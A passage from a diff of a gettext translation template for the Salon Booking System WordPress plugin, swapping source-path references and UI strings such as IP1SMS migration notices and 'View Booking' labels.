build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:151\n-msgid \"IP1SMS is shutting down the old API on %s. Your SMS notifications will stop working unless you migrate to the new API V2.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:19\n+msgid \"User updated\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:144, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:144, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:144\n-msgid \"Your SMS notifications stopped working because IP1SMS has shut down the old API. You need to migrate immediately!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:70\n+msgid \"username can't be empty\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:158, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:158, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:158, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:158, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:158\n-msgid \"Quick Migration Steps:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:252\n+msgid \"\"\n+\"Users can select more than one assistants for their booked services. Please \"\n+\"set with care the \\\"execution order\\\" inside your services section.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:161, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:161, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:161\n-msgid \"Go to\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:41\n+msgid \"\"\n+\"Users once logged in inside the MY ACCOUNT BOOKING page will be able to see \"\n+\"the list of their upcoming confirmed or paid reservations and eventually \"\n+\"RESCHEDULE them. An email notification will be sent to you and to the \"\n+\"customers.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:162, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:162, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:162\n-msgid \"Settings > SMS Services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:51\n+msgid \"\"\n+\"Users once logged in inside the MY ACCOUNT BOOKING page will be able to see \"\n+\"the list of their upcoming reservations and eventually Cancel them. An email \"\n+\"notification will be sent to you and to the customers.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:167, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:167, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:167\n-msgid \"as your SMS provider\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:434\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:434\n+msgid \"Utilization\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:172, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:172, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:172, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:172, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:172\n-msgid \"and generate a new API key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:227\n+msgid \"Utilization Rate\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:175, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:175, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:175, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:175, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:175\n-msgid \"Navigate to: Konton > API-nycklar > Lägg till nyckel\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:57\n+msgid \"Valid from\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:179, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:179, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:179\n-msgid \"Paste the API key in your SMS settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:58\n+msgid \"Valid to\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:182, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:182, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:182\n-msgid \"Ensure your sender ID (phone number) is registered in the portal\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:51\n+msgid \"Variable duration\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:185, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:185, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:185\n-msgid \"Save settings and send a test SMS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:447\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:447\n+msgid \"Variable price\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:192, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:192, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:192\n-msgid \"Update SMS Settings Now\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:265\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:265\n+msgid \"Verify your support status\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:196, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:196, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:317\n+msgid \"Version installed\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:22\n+msgid \"Video tutorials\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:306\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:306\n+msgid \"View API Documentation\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:254\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:254\n+msgid \"View Assistant\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:166\n+msgid \"View assistants\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:346\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:678\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:346\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:678\n+msgid \"View Booking\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:423\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:423\n+msgid \"View customer\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:242\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:242\n+msgid \"View Discount\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:196\n msgid \"View Migration Guide\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:206, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:206, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:206, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:206, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:206\n-msgid \"Important:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:126\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:126\n+msgid \"View PRO plans\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:207, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:207, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:207\n-msgid \"The old API is no longer functioning. Your customers are not receiving SMS notifications for bookings, reminders, or updates. Please migrate immediately to restore service.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:216\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:216\n+msgid \"View Resource\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:491, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:491, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:491, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:478, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:491, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:491\n-msgid \"Last Week\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:260\n+#: 